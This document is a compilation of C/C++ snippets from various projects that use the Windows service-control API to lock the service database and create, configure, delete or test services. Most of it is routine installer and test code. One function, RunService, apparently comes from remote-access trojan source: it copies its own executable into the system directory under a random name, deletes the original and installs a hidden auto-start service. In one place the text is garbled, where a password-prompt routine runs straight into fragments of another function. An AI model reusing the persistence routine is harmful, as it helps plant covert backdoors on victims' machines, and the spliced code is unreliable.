BOOL ChangeConfig() { SC_HANDLE service; SC_HANDLE scm; BOOL res; SC_LOCK lock; scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS | GENERIC_WRITE); if (!scm) { ErrorHandler("OpenSCManager", GetLastError()); } lock = LockServiceDatabase(scm); if (lock == 0) { ErrorHandler("LockServiceDatabase", GetLastError()); } service = OpenService(scm, ServiceName, SERVICE_ALL_ACCESS); if (!service) { ErrorHandler("OpenService", GetLastError()); } res = ChangeServiceConfig( service, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!res) { UnlockServiceDatabase(lock); ErrorHandler("ChangeServiceConfig", GetLastError()); } res = UnlockServiceDatabase(lock); if (!res) { ErrorHandler("UnlockServiceDatabase", GetLastError()); } CloseServiceHandle(service); CloseServiceHandle(scm); return TRUE; }
DWORD ConfigService( int svc ) { SC_HANDLE scm = NULL; SC_HANDLE hsvc = NULL; SC_LOCK scl = NULL; DWORD rv = ERROR_SUCCESS; scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(scm == NULL) {rv = GetLastError(); goto _cleanup; } scl = LockServiceDatabase(scm); if(scl == NULL) {rv = GetLastError(); goto _cleanup; } hsvc = OpenService( scm, ((svc==1)? _T("TransarcAFSDaemon") : _T("TransarcAFSServer")), SERVICE_ALL_ACCESS); if(hsvc == NULL) {rv = GetLastError(); goto _cleanup; } SERVICE_FAILURE_ACTIONS sfa; SC_ACTION saact[3]; sfa.dwResetPeriod = 3600; // one hour sfa.lpRebootMsg = NULL; sfa.lpCommand = NULL; sfa.cActions = 3; sfa.lpsaActions = saact; saact[0].Type = SC_ACTION_RESTART; saact[0].Delay = 5000; saact[1].Type = SC_ACTION_RESTART; saact[1].Delay = 5000; saact[2].Type = SC_ACTION_NONE; saact[2].Delay = 5000; if(!ChangeServiceConfig2(hsvc, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa)) rv = GetLastError(); _cleanup: if(hsvc) CloseServiceHandle(hsvc); if(scl) UnlockServiceDatabase(scl); if(scm) CloseServiceHandle(scm); return rv; }
NDASDI_API BOOL WINAPI NdasDiDeleteServiceSCH( IN SC_HANDLE schSCManager, IN LPCTSTR ServiceName) { BOOL fSuccess = FALSE; DPInfo(_FT("Deleting Service %s.\n"), ServiceName); AutoSCLock scLock = LockServiceDatabase(schSCManager); if (NULL == (SC_LOCK) scLock) { DPErrorEx(_FT("Locking service database failed: ")); return FALSE; } AutoSCHandle hService = OpenService( schSCManager, ServiceName, DELETE); if (NULL == (SC_HANDLE) hService) { DPErrorEx(_FT("Opening a service %s failed: "), ServiceName); return FALSE; } fSuccess = DeleteService(hService); if (!fSuccess) { DPErrorEx(_FT("Deleting a service %s failed: "), ServiceName); return FALSE; } DPInfo(_FT("Service %s deleted successfully.\n"), ServiceName); return TRUE; }
int DelService(const TCHAR *pszStartStopName) { int rc = ERROR_SUCCESS; _tprintf(_T("Deleting service '%ws' ...\n"), pszStartStopName); SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); SC_HANDLE hService = NULL; if (hSCManager == NULL) { _tprintf(_T("Could not get handle to SCM! Error: %ld\n"), GetLastError()); rc = EXIT_FAIL; } else { hService = OpenService(hSCManager, pszStartStopName, SERVICE_ALL_ACCESS); if (NULL == hService) { _tprintf(_T("Could not open service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError()); rc = EXIT_FAIL; } } if (hService != NULL) { if (LockServiceDatabase(hSCManager)) { if (FALSE == DeleteService(hService)) { DWORD dwErr = GetLastError(); switch (dwErr) { case ERROR_SERVICE_MARKED_FOR_DELETE: _tprintf(_T("Service '%ws' already marked for deletion.\n"), pszStartStopName); break; default: _tprintf(_T("Could not delete service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError()); rc = EXIT_FAIL; break; } } else { _tprintf(_T("Service '%ws' successfully removed!\n"), pszStartStopName); } UnlockServiceDatabase(hSCManager); } else { _tprintf(_T("Unable to lock service database! Error: %ld\n"), GetLastError()); rc = EXIT_FAIL; } CloseServiceHandle(hService); } if (hSCManager != NULL) CloseServiceHandle(hSCManager); return rc; }
/** * @brief * unregister_scm - unregister_scm: return 0 for success; non-zero for fail * * @param[in] svc_name - service name. * * @return int * @retval 0 : success * @retval non-zero : fail */ int unregister_scm(char *svc_name) { SC_LOCK sclLock = NULL; SC_HANDLE schService = NULL; SC_HANDLE schSCManager = NULL; int ret = 1; SERVICE_STATUS ss; int try; schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if (!schSCManager) { fprintf(stderr, "OpenSCManager failed - %d\n", GetLastError()); goto unregister_scm_cleanup; } /* Open a handle to the service instance. */ schService = OpenService(schSCManager, svc_name, SERVICE_ALL_ACCESS); if (!schService) { fprintf(stderr, "OpenService %s failed - %d\n", svc_name, GetLastError()); goto unregister_scm_cleanup; } /* Get the SCM database lock before changing the password. */ sclLock = LockServiceDatabase(schSCManager); if (sclLock == NULL) { fprintf(stderr, "LockServiceDatabase failed - %d\n", GetLastError()); goto unregister_scm_cleanup; } /* Stop the service first */ ControlService(schService, SERVICE_CONTROL_STOP, &ss); try = 0; ss.dwCurrentState = SERVICE_RUNNING; while ((try < WAIT_RETRY_MAX) && ss.dwCurrentState != SERVICE_STOPPED) { printf("[try %d] waiting for service %s to die\n", try, svc_name); sleep(3); if (!QueryServiceStatus(schService, &ss)) break; try++; } if (!DeleteService(schService)) { fprintf(stderr, "DeleteService(%s) failed - %d\n", svc_name, GetLastError()); goto unregister_scm_cleanup; } printf("\nDeleted service %s\n", svc_name); ret = 0; unregister_scm_cleanup: if (sclLock) UnlockServiceDatabase(sclLock); if (schService) CloseServiceHandle(schService); if (schSCManager) CloseServiceHandle(schSCManager); return (ret); } /** * @brief * prompt_to_get_password - prompt for password. * * @param[out] pass - password. */ void prompt_to_get_password(char pass[LM20_PWLEN+1]) { int ch, j; printf("Please enter password: "******""); if ((p=strstr((const char *)account, "\\"))) { *p = '\0'; strcpy(dname, (const char *)account); *p = '\\'; strcpy(uname, p+1); } mbstowcs(unamew, uname, UNLEN+1); mbstowcs(dnamew, dname, PBS_MAXHOSTNAME+1); mbstowcs(passwordw, password, LM20_PWLEN+1); si.cb = sizeof(si); si.lpDesktop = L""; if( !for_info_only && \ ((rc=CreateProcessWithLogonW(unamew, dnamew, passwordw, 0, NULL, L"cmd /c echo okay", flags, NULL, NULL, &si, &pi)) == 0)) { fprintf(stderr, "Password did not validate against %s err=%d\n\nClick BACK button to retry a different password.\nClick NEXT button to abort installation.", account, GetLastError()); wcsset(passwordw, 0); return (0); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); printf("%s password for %s\n", (for_info_only?"Validating":"Validated"), account); wcsset(passwordw, 0); return (1); }
/** * @brief * register_scm - return 0 for success; non-zero for fail * * @param[in] svc_name - service name * @param[in] svc_exec - service executable path * @param[in] svc_account - service account * @param[in] svc_password - service password * * @return int * @retval 0 : good to go! * @retval 1 : something bad happened. */ int register_scm(char *svc_name, char *svc_exec, char *svc_account, char *svc_password) { SC_LOCK sclLock = NULL; SC_HANDLE schService = NULL; SC_HANDLE schSCManager = NULL; int ret = 1; schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if (!schSCManager) { fprintf(stderr, "OpenSCManager failed - %d\n", GetLastError()); goto register_scm_cleanup; } /* Get the SCM database lock before changing the password. */ sclLock = LockServiceDatabase(schSCManager); if (sclLock == NULL) { fprintf(stderr, "LockServiceDatabase failed - %d\n", GetLastError()); goto register_scm_cleanup; } /* Set the account and password that the service uses at */ /* startup. */ schService = CreateService(schSCManager, svc_name, __TEXT(svc_name), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, replace_space(svc_exec, ""), 0, 0, 0, svc_account, svc_password); if (!schService) { fprintf(stderr, "CreateService(%s, path=%s, account=%s) failed - %d\n", svc_name, svc_exec, svc_account, GetLastError()); goto register_scm_cleanup; } printf("\nCreated service %s with path=%s and account=%s\n", svc_name, svc_exec, svc_account); if (strcmpi(svc_name, "PBS_SCHED") == 0) { SERVICE_FAILURE_ACTIONS sfa; SC_ACTION sca[1]; sca[0].Type = SC_ACTION_RESTART; sca[0].Delay = 60*1000; sfa.dwResetPeriod = INFINITE; sfa.lpRebootMsg = NULL; sfa.lpCommand = NULL; sfa.cActions = 1; sfa.lpsaActions = sca; ChangeServiceConfig2(schService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa); printf("\nConfigured %s to restart on failure\n", svc_name); } ret = 0; register_scm_cleanup: if (sclLock) UnlockServiceDatabase(sclLock); if (schService) CloseServiceHandle(schService); if (schSCManager) CloseServiceHandle(schSCManager); return (ret); }
static void RunService(char *m_ServiceName,char *m_DisplayName,char *m_Description) { char FilePath[MAX_PATH]; GetModuleFileName(NULL,FilePath,MAX_PATH); char SystemPath[MAX_PATH]; GetSystemDirectory(SystemPath,MAX_PATH); if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0) { char FileName[80]; wsprintf(FileName,"%c%c%c%c%c%c.exe",'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26));//随即发生一个文件名 strcat(SystemPath,"\\"); strcat(SystemPath,FileName); CopyFile(FilePath,SystemPath,FALSE); memset(FilePath,0,MAX_PATH); strcpy(FilePath,SystemPath); fDelete_Me = TRUE; } char Desc[MAX_PATH]; HKEY key=NULL; SC_HANDLE newService=NULL, scm=NULL; __try { scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); if (!scm) __leave; newService = CreateService( scm, m_ServiceName, m_DisplayName, /*SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,*/ SERVICE_ALL_ACCESS|SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, FilePath,NULL, NULL, NULL, NULL, NULL); //锁定一下服务... SC_LOCK sc_lock=LockServiceDatabase(scm); SERVICE_DESCRIPTION Service_Descrip={&modify_data.Serdisplay[0]}; ChangeServiceConfig2(newService,SERVICE_CONFIG_DESCRIPTION,&Service_Descrip); UnlockServiceDatabase(sc_lock); if (newService == NULL) { if (GetLastError() == ERROR_SERVICE_EXISTS) { newService = OpenService(scm,m_ServiceName,SERVICE_ALL_ACCESS); if (newService==NULL) __leave; else StartService(newService,0, 0); } } if (!StartService(newService,0, 0)) __leave; strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(Desc,m_ServiceName); RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description)); } __finally { if (newService!=NULL) CloseServiceHandle(newService); if (scm!=NULL) CloseServiceHandle(scm); if (key!=NULL) RegCloseKey(key); } }
extern "C" void __declspec(dllexport) RemoveService( HWND hwndParent, int string_size, TCHAR *variables, stack_t **stacktop) { TCHAR ServiceName[100] = {0}; TCHAR* reason = 0; TCHAR* stopString = NULL; BOOL okay = FALSE; DWORD error = 0; g_hwndParent=hwndParent; g_stringsize=string_size; g_stacktop=stacktop; g_variables=variables; //MessageBox(hwndParent, TEXT("Enter Remove Service"), TEXT("RemoveService"), MB_OK); if (0 == popstring(ServiceName)) { //MessageBox(hwndParent, ServiceName, TEXT("RemoveService"), MB_OK); SC_HANDLE hSCM = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS); if (hSCM) { SC_HANDLE hService = OpenService(hSCM, ServiceName, SERVICE_ALL_ACCESS); if (hService) { SC_LOCK hLock = LockServiceDatabase(hSCM); if(hLock) { okay = DeleteService(hService); if (!okay) { error = GetLastError(); } UnlockServiceDatabase(hLock); } else { error = GetLastError(); } CloseServiceHandle(hService); } else { error = GetLastError(); } CloseServiceHandle(hSCM); } else { error = GetLastError(); } } else { SetLastError(ERROR_INVALID_PARAMETER); } if (FALSE == okay) { if (!reason) { LPVOID lpMsgBuf = NULL; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL ); pushstring((TCHAR*)lpMsgBuf); LocalFree(lpMsgBuf); } else { pushstring(reason); } } else { pushstring(TEXT("Ok")); } }
BOOL KCreateService(const wchar_t* pszServiceName, const wchar_t* pszImagePath, const wchar_t* pszSvcOrderGroup, const wchar_t* pszDisplayName, const wchar_t* pszDescription, DWORD dwStartType, DWORD* pdwError, const wchar_t* pDepend, DWORD nServicesType) { if (NULL == pszServiceName) return FALSE; BOOL bResult = FALSE; BOOL bRetCode = FALSE; DWORD dwErr = 0; SC_HANDLE hScm = NULL; SC_HANDLE hService = NULL; SC_LOCK sclLock = NULL; int nTimes = 0; SERVICE_STATUS ssStatus = { 0 }; hScm = ::OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_LOCK | SC_MANAGER_CREATE_SERVICE); if (NULL == hScm) { dwErr = ::GetLastError(); goto Exit0; } do { sclLock = LockServiceDatabase(hScm); if (sclLock) break; ++nTimes; Sleep(_SERVICE_GET_LOCK_SLEEP_TIME); } while(nTimes < _MAX_SERVICE_TRY_GET_LOCK_TIMES); hService = ::OpenServiceW(hScm, pszServiceName, SERVICE_CHANGE_CONFIG | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL); if (NULL == hService) { hService = ::CreateService( hScm, // SCManager database pszServiceName, // name of service pszDisplayName, // name to display SERVICE_QUERY_STATUS | SERVICE_CHANGE_CONFIG,// desired access nServicesType,// service type SERVICE_AUTO_START, // start type SERVICE_ERROR_NORMAL, // error control type pszImagePath, // service's binary pszSvcOrderGroup, // load ordering group NULL, // no tag identifier pDepend, // dependencies NULL, // LocalSystem account NULL); // no password if (hService) bResult = TRUE; } else { // 如果打开了, 则修改为我们想要的服务 bResult = ChangeServiceConfig( hService, // handle of service SERVICE_WIN32_OWN_PROCESS, // change service type dwStartType, // change service start type SERVICE_ERROR_NORMAL,//SERVICE_NO_CHANGE // change error control pszImagePath, // change binary path pszSvcOrderGroup, // change load order group NULL, // tag ID: no change NULL, // dependencies: no change NULL, // service start account: no change NULL, // password: no change pszDisplayName); // change display name } if (pszDescription) { SERVICE_DESCRIPTION sd = {0}; sd.lpDescription = (LPWSTR)pszDescription; ChangeServiceConfig2( hService, SERVICE_CONFIG_DESCRIPTION, &sd ); } if (bResult) bRetCode = TRUE; else dwErr = ::GetLastError(); Exit0: if (pdwError) *pdwError = dwErr; if(sclLock) ::UnlockServiceDatabase(sclLock); if (hService) ::CloseServiceHandle(hService); if (hScm) ::CloseServiceHandle(hScm); return bRetCode; }
HRESULT EnableService( LPCTSTR szSvcName, BOOL fDisable ) { CAutoServiceHandle m_schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); if(m_schSCManager==NULL) return E_POINTER; CAutoServiceHandle schService=NULL; SC_LOCK sclLock; LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf; DWORD dwBytesNeeded, dwStartType; BOOL bSuccess=TRUE; // Need to acquire database lock before reconfiguring. sclLock = LockServiceDatabase(m_schSCManager); // If the database cannot be locked, report the details. if (sclLock == NULL) { // Exit if the database is not locked by another process. if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED) { DPRINT("Database lock failed (%d)\n", GetLastError()); return E_FAIL; } // Allocate a buffer to get details about the lock. lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc( LPTR, sizeof(QUERY_SERVICE_LOCK_STATUS)+256); if (lpqslsBuf == NULL) { DPRINT("LocalAlloc failed (%d)\n", GetLastError()); return E_FAIL; } // Get and print the lock status information. if (!QueryServiceLockStatus( m_schSCManager, lpqslsBuf, sizeof(QUERY_SERVICE_LOCK_STATUS)+256, &dwBytesNeeded) ) { DPRINT("Query lock status failed (%d)", GetLastError()); return E_FAIL; } if (lpqslsBuf->fIsLocked) DPRINT("Locked by: %s, duration: %d seconds\n", lpqslsBuf->lpLockOwner, lpqslsBuf->dwLockDuration); else DPRINT("No longer locked\n"); LocalFree(lpqslsBuf); } // The database is locked, so it is safe to make changes. // Open a handle to the service. schService = OpenService( m_schSCManager, // SCManager database szSvcName, // name of service SERVICE_CHANGE_CONFIG); // need CHANGE access if (schService == NULL) { DPRINT("OpenService failed (%d)\n", GetLastError()); return E_FAIL; } dwStartType = (fDisable) ? SERVICE_DISABLED : SERVICE_DEMAND_START; // Make the changes. if (! ChangeServiceConfig( schService, // handle of service SERVICE_NO_CHANGE, // service type: no change dwStartType, // change service start type SERVICE_NO_CHANGE, // error control: no change NULL, // binary path: no change NULL, // load order group: no change NULL, // tag ID: no change NULL, // dependencies: no change NULL, // account name: no change NULL, // password: no change NULL) ) // display name: no change { DPRINT("ChangeServiceConfig failed (%d)\n", GetLastError()); bSuccess = FALSE; } else DPRINT("ChangeServiceConfig succeeded.\n"); // Release the database lock. UnlockServiceDatabase(sclLock); return bSuccess ? S_OK : E_FAIL; }
static void Test_QueryLockStatusA(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_LOCK hLock = NULL; LPQUERY_SERVICE_LOCK_STATUSA lpLockStatus = NULL; DWORD dwRequiredSize = 0; /* Firstly try to get lock status with invalid handles */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INVALID_HANDLE, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INVALID_HANDLE); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); /* Open the services database without having rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Try to get lock status */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_ACCESS_DENIED, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_ACCESS_DENIED); ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n"); CloseServiceHandle(hScm); /* * Query only the lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); CloseServiceHandle(hScm); /* * Now, try to lock the database and check its lock status. */ SetLastError(0xdeadbeef); hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_LOCK | SC_MANAGER_QUERY_LOCK_STATUS); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database wasn't previously locked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Try again, this time with the database locked. */ SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock); ok_err(ERROR_SUCCESS); Sleep(1000); /* Wait 1 second to let lpLockStatus->dwLockDuration increment */ /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is locked */ ok(lpLockStatus->fIsLocked != 0, "lpLockStatus->fIsLocked = %lu, expected non-zero\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner != 0, "*lpLockStatus->lpLockOwner = \"\\0\", expected non-zero\n"); ok(lpLockStatus->dwLockDuration != 0, "lpLockStatus->dwLockDuration = %lu, expected non-zero\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); /* * Last try, with the database again unlocked. */ SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); hLock = NULL; /* Get the needed size */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, NULL, 0, &dwRequiredSize); ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER); ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n"); if (dwRequiredSize == 0) { skip("Required size is null; cannot proceed with QueryLockStatusA test\n"); goto cleanup; } /* Allocate memory */ lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); if (lpLockStatus == NULL) { skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize); goto cleanup; } /* Get the actual value */ SetLastError(0xdeadbeef); bError = QueryServiceLockStatusA(hScm, lpLockStatus, dwRequiredSize, &dwRequiredSize); ok(bError, "bError = %u, expected TRUE\n", bError); /* These conditions must be verified iff the services database is unlocked */ ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked); ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n"); ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n"); ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration); HeapFree(GetProcessHeap(), 0, lpLockStatus); cleanup: if (hLock) UnlockServiceDatabase(hLock); if (hScm) CloseServiceHandle(hScm); return; }
static void Test_LockUnlockServiceDatabase(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_LOCK hLock = NULL; /* First of all, try to lock / unlock the services database with invalid handles */ SetLastError(0xdeadbeef); hScm = NULL; hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_INVALID_HANDLE); SetLastError(0xdeadbeef); hScm = (SC_HANDLE)0xdeadbeef; hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_INVALID_HANDLE); /** This test seems to make this application crash on Windows 7... I do not know why... **/ SetLastError(0xdeadbeef); hLock = NULL; bError = UnlockServiceDatabase(hLock); ok(bError == FALSE, "bError = %u, expected FALSE\n", bError); ok_err(ERROR_INVALID_SERVICE_LOCK); /*****************************************************************************************/ SetLastError(0xdeadbeef); hLock = (SC_LOCK)0xdeadbeef; bError = UnlockServiceDatabase(hLock); ok(bError == FALSE, "bError = %u, expected FALSE\n", bError); ok_err(ERROR_INVALID_SERVICE_LOCK); /* Then, try to lock the services database without having rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock); ok_err(ERROR_ACCESS_DENIED); if (hLock) UnlockServiceDatabase(hLock); CloseServiceHandle(hScm); /* Try to lock the services database with good rights */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock); ok_err(ERROR_SUCCESS); /* Now unlock it */ if (hLock) { SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); } cleanup: if (hScm) CloseServiceHandle(hScm); return; }
